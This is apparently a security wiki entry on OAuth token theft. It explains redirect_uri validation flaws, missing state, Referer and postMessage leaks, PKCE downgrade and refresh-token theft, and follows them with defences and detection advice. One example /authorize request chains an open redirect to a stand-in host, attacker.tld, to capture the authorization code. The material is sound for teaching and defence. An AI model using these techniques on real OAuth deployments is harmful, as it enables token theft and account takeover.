OAuth token theft
TL;DR: Loose
redirect_urivalidation, missingstate, referrer leaks, and open-redirect chains let an attacker capture the victim’s access / refresh tokens at the authorisation server’s callback.
What it is
OAuth 2.0 authorisation code and (legacy) implicit flows hand a secret — code or token — to a URL controlled by the client app. If the authorisation server lets the client (or the attacker) influence that URL, or the client’s callback handler leaks the secret to third parties, the attacker takes over the victim’s session in the protected resource.
Preconditions / where it applies
- An OAuth provider that accepts wildcard, prefix-matched, or attacker-influencable
redirect_uri. - A client app with a loose callback (open redirect, third-party JS, leaky
Referer, postMessage handler). - A victim who is authenticated to the provider and clicks the attacker URL — or a logged-in session that the attacker triggers via a hidden iframe / pop-up.
Technique
- Map the flow. Capture the
/authorizerequest. Noteresponse_type(code / token / id_token),redirect_uri,scope,state, PKCE (code_challenge). - redirect_uri attacks.
- Allowlist by
startsWith— registerhttps://app.example.com.attacker.tld. - Path append — allowlist is
https://app.example.com/; provider acceptshttps://app.example.com/../../attacker. - Sub-path with open redirect — provider only checks origin; client’s
/callback?next=//attackerredirects after consuming the code. - Fragment trick — implicit flow returns
#access_token=...in URL fragment; chain through an open redirect that preserves the fragment.
- Allowlist by
- Missing or unbound
state. Nostate→ CSRF on the callback (force-link attacker’s account to victim’s session).statebound to attacker’s cookie → relogin attack. - Referer leak. Authorization code lands in the URL; the callback page loads third-party JS / images / analytics; the
Refererheader carries the code to those origins. - postMessage leak. A SPA does
window.opener.postMessage({code})without checkingtargetOrigin. Attacker pops the auth window fromattacker.tldand listens. - PKCE downgrade. Provider accepts requests without
code_verifiereven when the original/authorizeincluded acode_challenge. Public clients are then trivially MITM’d. -
Refresh-token theft. SPA stores refresh in
localStorage; chain with an cross-site-scripting to exfil long-lived tokens. See client-side-storage-attacks.1 2 3 4
GET /authorize?response_type=code&client_id=abc &redirect_uri=https://app.example.com/callback?next=//attacker.tld &scope=email &state=...
Detection and defence
- Exact-match
redirect_uriregistration. No wildcards, no path append, no scheme downgrade. Validate the full URI byte-for-byte. - Require and verify
statebound to the user session; require PKCE for all clients (public and confidential). - Short-lived authorization codes (≤ 60s, single use). Refresh tokens rotated and bound to client + DPoP / mTLS where possible.
- Client callback page: no third-party scripts, no analytics, no open redirects, validate
event.originon postMessage. - Detection: provider logs of consecutive
/authorizeand/tokencalls from very different IPs,Refererof the/callbackpage pointing off-origin.
References
- PortSwigger — OAuth 2.0 authentication vulnerabilities — labs.
- OAuth Threat Model — RFC 6819 — canonical risks.
- OAuth 2.0 Security Best Current Practice — modern defences.